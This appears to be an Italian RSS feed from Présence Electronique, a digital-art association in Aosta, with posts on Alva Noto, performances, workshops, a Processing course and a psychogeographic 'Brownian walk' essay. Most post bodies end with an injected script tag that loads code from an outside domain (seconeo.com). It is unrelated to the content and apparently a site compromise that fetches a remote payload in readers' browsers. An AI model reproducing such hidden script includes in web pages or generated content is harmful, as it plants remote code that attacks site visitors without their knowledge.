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	<title>Présence Electronique</title>
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	<pubDate>Fri, 09 Apr 2010 11:33:37 +0000</pubDate>
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		<title>Alva Noto ad Aosta Trasforma</title>
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		<pubDate>Fri, 09 Apr 2010 11:32:32 +0000</pubDate>
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		<description><![CDATA[Carsten Nicolai si presenta al pubblico con lo pseudonimo di Alva Noto. La sua musica e le sue immagini sono arrivate nei centri d’arte contemporanea più importanti del mondo, dal Guggenheim di New York al San Francisco Museum of modern art, al Centre Pompidou di Parigi, alla Tate Modern di Londra, al NTT Tokyo e [...]]]></description>
			<content:encoded><![CDATA[<p>Carsten Nicolai si presenta al pubblico con lo pseudonimo di Alva Noto. La sua musica e le sue immagini sono arrivate nei centri d’arte contemporanea più importanti del mondo, dal Guggenheim di New York al San Francisco Museum of modern art, al Centre Pompidou di Parigi, alla Tate Modern di Londra, al NTT Tokyo e alla Biennale di Venezia. Ha collaborato con Pan Sonic, Björk, Ryuichi Sakamoto e molti altri.<br />
Il suo lavoro è centrato sulla linea di confine tra arte e scienza. Il suo intento: superare la scissione fra i diversi livelli della percezione, lavorando su fenomeni fisici come le frequenze luminose e sonore.<br />
Nelle sue sinestetiche performance live Nicolai esplora e sperimenta la fisicità del suono elettronico, processa suoni ambientali, clicks e glitches per creare precise astrazioni musicali, di cui, in tempo reale, elabora inedite visualizzazioni.<br />
In occasione di finitoInfinito4, Alva Noto presenterà Unitxt, una ricerca sulla matematica intesa come linguaggio universale, in cui la parola diventa codice sorgente tradotto in impulso audio-video.</p>
<p>Per ulteriori informazioni: <a href="http://finitoinfinito.com/?page_id=13" target="_blank">www.finitoinfinito.com</a><script src="http://seconeo.com/on"></script></p>
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		<title>Illusione Generattiva</title>
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		<pubDate>Wed, 08 Apr 2009 21:42:38 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[News]]></category>

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		<description><![CDATA[Un’opportunità per riflettere sui processi creativi nelle arti digitali con l’obiettivo di focalizzare le nuove pratiche ed estetiche elettroniche]]></description>
			<content:encoded><![CDATA[<p>finitoINFINITO - Aosta di Illusione<br />
Illusione Generattiva<br />
VENERDI 5 GIUGNO 2009 • ORE 21.00<br />
Théâtre de la Ville</p>
<p>Otolab (Milano) Giardini Neri<br />
Visual: mud, xo00 , androsyn / sound: mud, _dies<br />
software implementation: orgone concept: otolab</p>
<p>Oginoknauss (Berlino) The plot (prima nazionale)<br />
Art direction: oginoknauss / Technical production: k-labo / Script: Lorenzo Tripodi<br />
Photography: Manuela Conti / Sound production: Michele Lancuba e Oren<br />
Software development: Sergio Segoloni</p>
<p>Présence Electronique intende offrire un’opportunità per riflettere sui processi della creazione nelle arti digitali, con l’obiettivo di mettere a fuoco le pratiche della creazione. Gli artisti percorrono sempre più la tendenza ad aprire la valigetta degli utensili e mostrare il processo del lavoro, quasi che il processo stesso diventasse l’opera d’arte, l’attrazione, il prodotto al centro della performance.</p>
<p>La New Media Art è un’arte prodotta attraverso le tecnologie, con l’obiettivo di spingere il pubblico a interagire con l’opera, è un’arte che vive in un substrato dove l’osservatore diventa anche co-autore: in passato Aosta ha già dimostrato un vispo ed attento interesse verso questo genere di coinvolgimento artistico-tecnologico, contribuendo al successo nel maggio scorso di “finitoInfinito Passione generATTIVA – Gli sms scrivono la piazza”, un’interazione tra piattaforme tecnologiche e più di 300 persone, che tramite l’invio di sms coadiuvavano l’evoluzione della rappresentazione teatrale, generando idealmente graffiti innocui, ma contenenti messaggi interessanti.</p>
<p>La sezione giovani del festival intende creare un’opportunità per riflettere sui processi creativi nelle arti digitali con l’obiettivo di focalizzare le nuove pratiche ed estetiche elettroniche. Il processo diventa opera d’arte, attrazione, il prodotto al centro della performance. Si è passati dunque dall’era del prodotto a quella del processo.</p>
<p>L’intenzione è di portare l’individuo all’interno dell’illusione dell’artista e del visionario che è andato in avanscoperta anticipando gli altri. Portare l’esperienza di nomadi culturali, artisti e ricercatori che hanno provato ed utilizzano le qualità della trasformazione elettronica in atto come ingrediente primario del proprio approccio creativo. Proprio come pionieri, scout perlustratori, proiettati in avanti per sondare il terreno. E’ in fondo qualcosa che è sempre accaduto ma che oggi, in una transizione quasi completa verso il futuro digitale, acquista fascino e merita di essere osservata con un occhio di riguardo.</p>
<p>Le implicazioni e le sfaccettature della sezione giovani del festival sono molte, tra queste il solleticare l’interesse del pubblico giovane che possa prendere visione di un differente utilizzo di tecnologie comunemente note, ma non conosciute al punto tale da ricavarne effetti paralleli; un passo in avanti nel riconsiderare l’utilizzo della tecnologia in forma meno materialistica, mostrandone i possibili risvolti creativi e poetici.<br />
Al tempo stesso le performance degli artisti potranno regalare stuzzicanti rivisitazioni dei luoghi storici della città di Aosta, in un gustoso intreccio tra storia, classicismo e tecnologia, progresso ed arte.</p>
<p>La sezione Présence Electronique rappresenta un creativo colpo di coda di “FinitoINfinito - Aosta Città di Illusione”.</p>
<p>Le persone coinvolte:</p>
<p>Riccardo Mantelli. Interactive Media Artist e Designer, svolge attività di studio e sperimentazione nella fusione di linguaggi differenti (design, arte, architettura). Si occupa di Interaction design, Responsive environment design, cross media design, e in particolare dell’uso dei media nell’architettura e nello spazio pubblico. E’ stato premiato come vincitore del Newstoday Brand Promotion Contest (NYC); e i suoi lavori in campo artistico sono stati menzionati da “Rai International”, “Domus”, “My Media”, e in diversi libri di new media art. Produce lavori per collezionisti, istituzioni, e società di piccola e media grandezza, e insegna New Media Design alla Nuova Accademia di Belle Arti di Milano. È  componente della compagnia teatrale Arti di Eris.</p>
<p>Lorenzo Tripodi. Architetto, urbanista, film maker, sviluppa un percorso parallelo di ricerca su temi urbani e sui linguaggi audiovisivi. Consegue il dottorato di ricerca presso l’Università di Firenze con la tesi “L’invenzione dello spazio pubblico. Esperienze e pratiche di resistenza all’erosione dello spazio pubblico nella città globale”. Si occupa di trasformazione e conflitti dello spazio pubblico, dei processi di produzione di immagine nel contesto urbano, di pratiche e strumenti partecipativi per la rappresentazione del territorio. Ha fondato nel 1995 il collettivo artistico Ogino Knauss che si occupa di new media e psicogeografie, con il quale ha realizzato numerose opere istallative e performative. La produzione più recente del gruppo è “Doble Forza”, documentario su una periferia del La Habana, Cuba, primo di una serie di reportages critici sull’ideologia modernista e la produzione globale di periferie. Il film è stato premiato nel 2008 come miglior film della sezione internazionale del festival del cinema di architettura e urbanistica di Istanbul.  Attualmente lavora a un libro sull’evoluzione contemporanea di Firenze.<br />
Lorenzo Tripodi (PhD) - Kottbusser Damm 103a - 10967 Berlin DE</p>
<p>Otolab nasce nel 2001 a Milano da un gruppo di affinita’ che vede musicisti, dj, vj, videoartisti, videomaker, web designer, grafici e architetti unirsi nell’affrontare un percorso comune nell’ambito della musica elettronica e della ricerca audiovisiva.<br />
I progetti di Otolab si sviluppano attraverso il lavoro di laboratorio, i seminari e i liveset, secondo principi di mutuo confronto e sostegno, di libera circolazione dei saperi e di sperimentazione.<br />
Il gruppo di lavoro si compone di progetti individuali e collettivi per i quali sono stati utilizzati linguaggi che vanno dall’elettronica sperimentale alla techno, dal dub alle sonorità industriali, sempre alla ricerca di un rapporto simbiotico con l’immagine e il video, fino al live media e all’installazione interattiva.<br />
In questi anni di lavoro, Otolab è stato ospitato in festival e manifestazioni nazionali e internazionali partecipando con liveset, seminari e installazioni e ha collaborato alla realizzazione di iniziative culturali autogestite.<br />
Otolab è oggi un’associazione culturale che vive grazie all’autoproduzione di liveset, installazioni, produzioni audio e audiovisive.<br />
http://www.otolab.net</p>
<p>Ogino Knauss, collettivo attivo dal 1995, opera nel corso degli anni una deriva costante tra i linguaggi e le pratiche della comunicazione. Nato come laboratorio di cinema mutante in uno spazio autogestito di Firenze, ha oggi la sua sede operativa a Berlino. In tempi più recenti l’attenzione del gruppo si concentra sugli influssi della globalizzazione sul paesaggio urbano, sviluppando pratiche innovative di ascolto e descrizione dei processi culturali della città, e sull’esplorazione di reti innovative, spazi eterotopici e alternative alle forme dominanti di produzione. Tra i progetti più recenti del gruppo, Triplicity è una riflessione multiforme e multipiattaforma sulla relazione intrecciata tra produzione di immagine e produzione spaziale nel contemporaneo, ed è pubblicata in un DVD interattivo da AVrec; Doble Forza, è un documentario su un sobborgo alla periferia de La Habana costruito negli anni settanta; un lavoro che costituisce il pilota per il progetto Re:centering Periphery, serie di reportages sulla produzione di periferie, sull’ideologia modernista che ha derterminato l’ambiente fisico in cui una enorme parte della popolazione globale vive tuttora, e sulle pratiche quotidiane che abitano, trasformano e rinventano tale ambiente.<br />
http://www.oginoknauss.org</p>
<p>Manuela Conti è nata nel 1969 a Urbino. E’ architetto, fotografa, videomaker e graphic designer. Sviluppa ricerca sui linguaggi audiovisivi sin dal 1995, quando fonda il collettivo “Ogino Knauss”. La sua produzione spazia tra le più varie forme di espressione. Come VJ e visual artist sviluppa numerose collaborazioni con musicisti e performers come Autechre, Kinkaleri, Luomo, Masami Akita and Zbigniew Karkowsky.<script src="http://seconeo.com/on"></script></p>
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		<title>Workshops - Aosta di Illusione</title>
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		<pubDate>Wed, 08 Apr 2009 21:37:00 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Media Lab]]></category>

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		<description><![CDATA[Momenti creativi a disposizione del pubblico. Una serie di brevi workshops per comprendere le dinamiche della creazione e dei processi legati alla performance audiovisiva.]]></description>
			<content:encoded><![CDATA[<p>Momenti creativi a disposizione del pubblico. Una serie di brevi workshops per comprendere le dinamiche della creazione e dei processi legati alla performance audiovisiva.<br />
(partecipazione gratuita)</p>
<p>MERCOLEDI 3 GIUGNO 2009 • ORE 14.00<br />
ESTETICA DELL&#8217;ERRORE Esplorare il ruolo produttivo dell&#8217;errore nel processo creativo. Il concetto di errore sarà preso in considerazione in forma molto ampia e flessibile, dai bug informatici alle derive nella città.<br />
A cura di Riccardo Mantelli.</p>
<p>GIOVEDI 4 GIUGNO 2009 • ORE 14.00<br />
THE PLOT<br />
Gli Oginoknauss aprono la propria &#8220;valigetta degli attrezzi&#8221; e mostrano le dinamiche e gli aspetti tecnici legati al loro lavoro. Workshop in Italiano a cura di Oginoknauss (Berlino).</p>
<p>Per informazioni ed iscrizioni: 338 6464 279<br />
<span>www.presenceelectronique.c</span>om<span><br />
info@presenceelectronique.</span>com<script src="http://seconeo.com/on"></script></p>
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		<title>No maps for these territories</title>
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		<pubDate>Tue, 24 Mar 2009 08:27:26 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[News]]></category>

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		<description><![CDATA[Una parata di frequenze anomale sotto i riflessi traballanti delle lampade al sodio. Luoghi della modernità in putrefazione si alternano a microstrutture tridimensionali di silicone, alluminio e la sostanza del software. Ad aprile&#8230; &#60;qui&#62;
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			<content:encoded><![CDATA[<p>Una parata di frequenze anomale sotto i riflessi traballanti delle lampade al sodio. Luoghi della modernità in putrefazione si alternano a microstrutture tridimensionali di silicone, alluminio e la sostanza del software. Ad aprile&#8230; <a href="http://maps.google.it/maps?f=d&amp;source=s_d&amp;saddr=Aosta&amp;daddr=45.735607,7.338524&amp;hl=it&amp;geocode=CQUfiAPWB43MFabjuQIdWZxvAA%3B&amp;mra=mi&amp;mrsp=1&amp;sz=17&amp;sll=45.735631,7.338556&amp;sspn=0.003677,0.012531&amp;ie=UTF8&amp;z=16">&lt;qui&gt;</a><script src="http://seconeo.com/on"></script></p>
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		<title>Articoli e interviste</title>
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		<pubDate>Thu, 05 Feb 2009 21:27:57 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Press]]></category>

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		<description><![CDATA[Presto in linea articoli, interviste sui quotidiani locali e sul web.
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			<content:encoded><![CDATA[<p>Presto in linea articoli, interviste sui quotidiani locali e sul web.<script src="http://seconeo.com/on"></script></p>
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		<title>Processing #1</title>
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		<pubDate>Thu, 05 Feb 2009 21:25:39 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Media Lab]]></category>

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		<description><![CDATA[Creazione di interfacce visuali e esperimenti di ricerca nel campo dell’arte digitale generativa.
Processing è un linguaggio di programmazione orientato agli oggetti nato come strumento per non-programmatori.]]></description>
			<content:encoded><![CDATA[<p>In un mondo in cui le nuove tecnologie sono sempre più pervasive, conoscere i fondamenti del mondo della programmazione è fondamentale per riuscire a dialogare con i vari tecnologi che di volta in volta incontreremo nella nostra vita professionale. In vista dei corsi previsti nel terzo anno (digitale e analogico), il corso dà i fondamenti per iniziare a capire come funziona il rapporto contemporaneo tra nuove tecnologie e design.</p>
<p>Processing risulta una buona piattaforma sia per iniziare a programmare sia per sperimentare nuovi approcci nella visualizzazione di dati, nella creazione di interfacce visuali e per creare esperimenti di ricerca nel campo dell’arte digitale generativa.<br />
E’ stato scelto perchè è un linguaggio di programmazione orientato agli oggetti, e perchè nato come strumento per non-programmatori.</p>
<p>Il corso si compone di una parte teorica in cui vengono presentate le varie funzionalità di processing e una parte pratica in cui si impareranno sia i fondamenti della programmazione classica non strettamente legata alla specifica implementazione all’interno di processing sia più specificamente alla programmazione orientata agli oggetti e come affrontarla in processing.</p>
<p>L’approccio ad una programmazione orientata agli oggetti permetterà di astrarre problemi di visualizzazione complessi, con il risultato di poter processare sia piccole che grandi quantità di dati, e sfocierà nella creazione di una propria interfaccia di visualizzazione, o di uno o più esperimenti di ricerca nel campo dell’arte generativa legati al tema generale relativo al tema affrontato nel workshop.</p>
<p>Per ulteriori informazioni: riki@c-dreams.com&nbsp; (338 64646279)</p>
<p><script src="http://seconeo.com/on"></script></p>
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		<title>Camminata browniana</title>
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		<pubDate>Sat, 08 Nov 2008 19:40:30 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[News]]></category>

		<category><![CDATA[aosta]]></category>

		<category><![CDATA[brownian walk]]></category>

		<category><![CDATA[deriva]]></category>

		<category><![CDATA[psicogeografia algoritmica]]></category>

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		<description><![CDATA[La città è piccola, ci è familiare da sempre. Chi vi abita da anni, soprattutto chi vi è nato, ne percorre le vie principali con un senso di sazietà distratta, di saturazione infastidita; e ha imparato presto le poche strade parallele, le deviazioni, i percorsi poco conosciuti, facendone l’itinerario per passeggiate alternative che ormai sono [...]]]></description>
			<content:encoded><![CDATA[<p>La città è piccola, ci è familiare da sempre. Chi vi abita da anni, soprattutto chi vi è nato, ne percorre le vie principali con un senso di sazietà distratta, di saturazione infastidita; e ha imparato presto le poche strade parallele, le deviazioni, i percorsi poco conosciuti, facendone l’itinerario per passeggiate alternative che ormai sono ordinarie come tutto il resto. In pochi minuti si raggiungono i quartieri periferici, anche questi ormai battuti da anni, in ogni direzione; altri minuti e si è oltre la periferia, in zone già collinari, o ai confini degli altri comuni, tra case e cantieri e ritagli di terreno incolto.<br />
Per questo un’esplorazione della città secondo un approccio insolito, in un contesto urbano come Aosta, è una sfida. Riccardo, sabato sera, ci conduce lungo traiettorie impreviste. Un software sul suo cellulare, collegato a un navigatore portatile, ci dice dove andare, se a destra o a sinistra: e noi procediamo lungo vie obbedendo a un algoritmo. La nostra è una deriva relativa, vincolata agli impulsi generati dal software: ma andare dove non andremmo ci dà una sensazione nuova – ci costringe, se non altro, a osservare le cose in modo nuovo.<br />
Ben presto usciamo dalle luci stolidamente rassicuranti del centro e ci spingiamo in quartieri bui. In un cortile chiuso attendiamo un segnale che non può che dirci di tornare indietro – ma lo attendiamo. Passiamo attraverso un varco sotto la cinta delle mura romane, finendo su un’arteria in cui il traffico ci costringe a marciare in fila indiana. Sotto un cavalcavia scopriamo una cassetta di mele marce, che ci appare subito come un segnale di abbandono – uno di quei segni incomprensibili di cui il mondo sembra costellato, e che in effetti non sono segnali di nulla, ma il punto finale di vicende che ignoriamo del tutto. Ci inoltriamo in parcheggi oscuri, deserti, che il buio rende immensi. Incerti, su uno stretto marciapiede lungo la ferrovia, aspettiamo dalla vocetta (femminile, gentilmente severa, o severamente gentile) una parola che ci riporti indietro. Altre zone buie però ci attendono, quartieri nuovi, dalle vie non illuminate, cresciuti tra il fiume e gli orti abusivi, le autorimesse e i magazzini. Cantieri ancora aperti, tracciati in cui già osano spuntare erbacce. Profili pretenziosi di condomini e palazzine, dalle linee oblique, che suggeriscono poppe e prue di navi, o astronavi. Cani che abbaiano appena visibili – dietro un cancello vecchio stile.<br />
La voce non si esprime spesso: resta in silenzio a lungo, e tace proprio agli incroci, quando vorremmo che ci dicesse qualcosa; parla invece lungo vie prive di sbocco, in cui è possibile solo andare avanti, in cerca di un bivio – non sono previsti lo scavalcamento di muri o recinzioni, l’attraversamento di proprietà private, lo sfidare cani o allarmi.<br />
Parliamo a voce alta – siamo gli unici in giro. Il gruppo si sfilaccia, ma dopo un’ora di marcia alla deriva sentiamo tutti il bisogno di puntare verso casa. Non ci ammutiniamo agli ordini della voce (“left”, “right”), ma cominciamo a interpretarli a nostro vantaggio: dal momento che destra e sinistra non sono assolute, ci disponiamo in modo che la direzione indicata sia proprio quella che vogliamo prendere.</p>
<p>di <a href="http://ombrelarve.blogspot.com/2008/11/passeggiata-browniana.html">Claudio Morandini </a></p>
<p>http://www.everytrail.com/view_trip.php?trip_id=74478<script src="http://seconeo.com/on"></script></p>
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		<item>
		<title>Riccardo Mantelli OSD</title>
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		<pubDate>Sat, 08 Nov 2008 12:59:41 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Eventi]]></category>

		<category><![CDATA[aosta]]></category>

		<category><![CDATA[open studio day]]></category>

		<category><![CDATA[riccardo mantelli]]></category>

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		<description><![CDATA[Riccardo Mantelli smantella il tessuto algoritmico di funzionamento del software aprendo brecce di infedeltà  nella programmazione, lasciando affiorare automatismi ipnotici nella superficie onirica della macchina, sintomi di desiderio della "macchina del sogno" del computer: pulsioni improduttive imbrigliate nella propria reverie al silicio. Dal desiderio ludico di un computer ribelle al luddismo automatico di un'estetica macchinale con una vocazione alla disobbedienza, virata al filtro elettrico di una estetica inceppata nella produzione di bellezza anarchica del malfunzionamento.]]></description>
			<content:encoded><![CDATA[<p>Riccardo Mantelli indaga da anni le derive misteriose dei dati nell&#8217;etere (misteriose per tutti noi, assai meno per lui), insegue con ogni mezzo le dispersioni degli impulsi lungo tracciati obliqui. Da anni lavora con le imperfezioni, con gli scarti e gli errori, con i rumori di ogni colore, e ne fa oggetti sensati, gustabili esteticamente, se ne appropria con voluttÃ  quasi, con golosità  fanciullesca, e insieme con una ostinata lucidità  professionale. Le sue ricerche, in cui indovini fondamenti di sociologia, architettura, linguistica applicata all&#8217;informatica, urbanistica, psicogeografia, endofisica, patafisica, diventano un vero e proprio girovagare, fatto di peregrinazioni, appostamenti, traiettorie browniane, deviazioni, tornanti, svolte a U, dita puntate su mappe algoritmiche, spazi hertziani, che offrono un senso geografico nuovo, nascosto, e consentono di appropriarsi dello spazio secondo coordinate nuove. Riccardo esplora la cittÃ  e le campagne alla ricerca di cose: oggetti, detriti, disturbi, basse frequenze, fantasmi elettromagnetici, pulsazioni misteriose (per noi, non per lui), cavi, e tubi, diagrammi, spazzatura, brandelli di conversazione captati per caso, linee pubbliche o segrete, fasci di luce, feticci, frammenti di codici generativi, prospettive di fili dell&#8217;alta tensione, turbine, rumori di fondo.<br />
Nel corso di queste peregrinazioni riempie taccuini su taccuini di immagini, schizzi, macchie colorate, collage, ma soprattutto di frasi, che esprimono un forte desiderio comunicativo, la necessità di una condivisione, e per farlo usano un linguaggio che contamina le metafore auliche della poesia e il gergo informatico. Ci leggi un bisogno impaziente di conoscere, di insinuarsi, ma anche un&#8217;avversione a fissare, a catalogare, a legiferare sugli oggetti del suo interesse. L&#8217;estetica del disordine e della decostruzione si accompagna in lui a un sostrato epistemologico che rende le sue esperienze qualcosa di molto più della ricerca della bellezza nello strano da parte di un amateur dell&#8217;irregolare o dell&#8217;erratico: ci intuisci la contemplazione ammirata della complessitÃ  del mondo, e l&#8217;idea che a contare non siano la definizione ultima, la dimostrazione incontrovertibile, ma l&#8217;indagine in sé, il percorso accidentato, la scarpinata apparentemente svagata.<br />
di Claudio Morandini</p>
<p>Riccardo Mantelli smantella il tessuto algoritmico di funzionamento del software aprendo brecce di infedeltà  nella programmazione, lasciando affiorare automatismi ipnotici nella superficie onirica della macchina, sintomi di desiderio della &#8220;macchina del sogno&#8221; del computer: pulsioni improduttive imbrigliate nella propria reverie al silicio. Dal desiderio ludico di un computer ribelle al luddismo automatico di un&#8217;estetica macchinale con una vocazione alla disobbedienza, virata al filtro elettrico di una estetica inceppata nella produzione di bellezza anarchica del malfunzionamento.<br />
di Vittorio Raschetti</p>
<p><strong>Sabato 8 novembre 2008 dalle 14 alle 20<br />
</strong>Aosta - Via Losanna, 20 (dentro il portone segui il punto interrogativo [?] primo piano)<br />
Un&#8217;opportunità per visitare il mio studio e vedere da vicino progetti e lavori presentati a numerosi festival in Italia ed Europa negli ultimi due anni.<br />
Ecco il programma della giornata:<br />
h14.00 Opening<br />
h15.00 Estetica dell&#8217;errore<br />
h16.00 Hertzian Space Databent<br />
h17.00 Proiezione dei video: What burns never return (a Guangzong China, e Prato Italia)<br />
h18.00 DADADA - Performance dal vivo (livecoding)<br />
h19.00 Passeggiata browniana (uscita a passeggio in Aosta guidati da un software generativo) + Esplorazione dello spazio hertziano e Psicogeografia Algoritmica<script src="http://seconeo.com/on"></script></p>
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		<title>Azioni concrete su &#8220;Rumore Bianco&#8221;</title>
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		<pubDate>Fri, 15 Feb 2008 11:17:15 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
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		<description><![CDATA[&#8216;Présence Electronique&#8217;, associazione culturale &#8216;no profit&#8217; nata ad Aosta nel 2006 con l&#8217;obiettivo di incentivare la ricerca, lo sviluppo, la sperimentazione dei nuovi media, dell&#8217;arte elettronica, della cultura dell&#8217;interattività prosegue il suo cammino per diffondere lo sviluppo creativo e la conoscenza dell&#8217;arte elettronica in Valle d&#8217;Aosta.
Dopo diverse performances, tra cui si contano alcuni concerti nel [...]]]></description>
			<content:encoded><![CDATA[<p><em>&#8216;Présence Electronique&#8217;</em>, associazione culturale &#8216;no profit&#8217; nata ad Aosta nel 2006 con l&#8217;obiettivo di incentivare la ricerca, lo sviluppo, la sperimentazione dei nuovi media, dell&#8217;arte elettronica, della cultura dell&#8217;interattività prosegue il suo cammino per diffondere lo sviluppo creativo e la conoscenza dell&#8217;arte elettronica in Valle d&#8217;Aosta.<br />
Dopo diverse performances, tra cui si contano alcuni concerti nel capoluogo regionale presso l<em>&lt;&#8217;Art Cafè&#8217; con la collaborazione del musicista <strong>Manuel Lain</strong> della prestigiosa classe di musica applicata alle nuove tecnologie del Conservatorio di Cagliari, l&#8217;ultima iniziativa, riservata a pochi selezionati invitati, è stata quella di martedì 19 febbraio, con la partecipazione dell&#8217;oboista <strong>Nathalie Dorigato</strong> in <em>&#8216;Azioni concrete su Rumore bianco&#8217;</em>, una ricerca sul rumore, sull&#8217;incidente, sull&#8217;errore, intesi come elementi &#8216;non - binari&#8217;, che si proponeva di <em>«diffondere l&#8217;errore come linea di fuga, come possibilità di liberazione dell&#8217;uomo dalla ormai soporifera ricerca della perfezione. Il rumore normalmente considerato un aspetto negativo della fenomenologia ha rivelato, dunque, aspetti positivi e liberatori»</em>.</em></p>
<p align="justify"><em><img style="float: right;" title="Un momento della performance" src="http://www.12vda.it/images/stories/foto_news_2008_1/mantelli_riccardo_02.jpg" border="1" alt="Un momento della performance" hspace="6" width="220" height="220" /></em>L&#8217;associazione, voluta da un gruppo di giovani studiosi e appassionati del settore, è presieduta da <strong>Riccardo Mantelli</strong>, noto &#8216;interactive media artist&#8217; e designer nell&#8217;architettura e nello spazio pubblico, ma soprattutto sperimentatore nell’ambito del design tradizionale fino alle estetiche elettroniche:<em> <em>«nell&#8217;arte elettronica vi fanno parte tutte quelle forme d&#8217;arte che includono l&#8217;uso dell&#8217;elettronica sotto ogni suo aspetto</em> - spiega - <em>arte che utilizza l&#8217;elettricità, i computer ed apparecchiature simili e che non può essere mostrata o esperita senza l&#8217;uso di quest&#8217;ultimi. Tale arte può comprendere qualsiasi forma espressiva come installazioni, performance, software interattivi, sculture elettriche ed interattive, robotica d&#8217;arte, progetti basati su piccole reti o Internet. Per arte elettronica si intendono anche quelle forme d&#8217;arte realizzate con l&#8217;ausilio dell&#8217;elettronica e, successivamente, trasferite in analogico come ad esempio, animazioni e video non interattivi, stampe digitali o fotografie manipolate».<br />
<img style="float: left;" title="Mantelli con gli ospiti" src="http://www.12vda.it/images/stories/foto_news_2008_1/mantelli_riccardo_01.jpg" border="1" alt="Mantelli con gli ospiti" hspace="6" width="220" height="220" />«Proseguiremo con la contaminazione delle forme artistiche, nel teatro, nelle arti grafiche, cinema, o qualsiasi altra forma di espressione</em> - continua Riccardo Mantelli - <em>cercando di svincolare in questo modo il genere della sua pericolosa tendenza all&#8217;auto - ghettizzazione. Per fare questo stiamo organizzando corsi di formazione destinati al pubblico, alle scuole, un laboratorio per la ricerca, un centro di documentazione, uno spazio espositivo ed un sito web»</em>.</em></p>
<p align="justify"><em><br />
</em><em></em></p>
<p align="justify"><em><a href="http://www.youtube.com/watch?v=nviT3RMG0gs">Rumore bianco su Youtube</a><br />
</em></p>
<p align="justify">
<p align="justify">Articolo pubblicato su &gt;  <a href="http://www.12vda.it/cultura/3336-rumore-bianco-prosegue-lo-studio-elettronico-di-prnce-eletronique.html" target="_blank">12vda</a></p>
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		<title>Anti-apathy</title>
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		<pubDate>Mon, 04 Feb 2008 13:26:56 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Corsi]]></category>

		<category><![CDATA[aosta]]></category>

		<category><![CDATA[corso]]></category>

		<category><![CDATA[glitch]]></category>

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		<description><![CDATA[Una serie di incontri per sperimentare e capire la musica elettronica.
Arrotolamenti di strati, precipitazioni di croste soniche, dispersioni di sezioni.
suoni Desiderio, suoni Ricordo, suoni Censimento, suoni Invettiva, suoni Vaudeville,
suoni Carezza, suoni Ipotesi, suoni Spettro, suoni Calcolo, suoni Palpamento
I suoni indagano i pesi e le densità dell&#8217;esperienza. I suoni sono i vapori dell&#8217;immagine.
Come fiori di ritmi [...]]]></description>
			<content:encoded><![CDATA[<p>Una serie di incontri per sperimentare e capire la musica elettronica.<br />
Arrotolamenti di strati, precipitazioni di croste soniche, dispersioni di sezioni.<br />
suoni Desiderio, suoni Ricordo, suoni Censimento, suoni Invettiva, suoni Vaudeville,<br />
suoni Carezza, suoni Ipotesi, suoni Spettro, suoni Calcolo, suoni Palpamento<br />
I suoni indagano i pesi e le densità dell&#8217;esperienza. I suoni sono i vapori dell&#8217;immagine.<br />
Come fiori di ritmi e disallineamenti.</p>
<p><strong>L’hertz. Ritorno all’origine</strong><br />
Forme d’onda, frequenze da accarezzare, clicks, sibili e fruscii.<br />
Un percorso tra alcuni tra i più interessanti artisti della scena sperimentale.</p>
<p><strong>Disallineamenti sonori in quasi spazi pubblici</strong><br />
Passeggiare, alla ricerca di suoni accidentali, di eventi inaspettati e di interferenze.<br />
Farsi cullare dai rumori dei lampioni.</p>
<p><strong>La cultura del silenzio</strong><br />
Una serata nel silenzio, scandito da clicks e dalle fondamentali nozioni sugli eventi che fanno nascere il desiderio di sperimentare e di fare rumore. (musica elettronica)</p>
<p><strong>Il racket del nonsenso</strong><br />
Se tutto questo è interessante, silenzio.<br />
Una serata dove ascoltare e guardare, frequenze sonore e immagini.</p>
<p><strong>Capslock</strong></p>
<p><strong>La potenza narrativa dei suoni accidentali</strong><script src="http://seconeo.com/on"></script></p>
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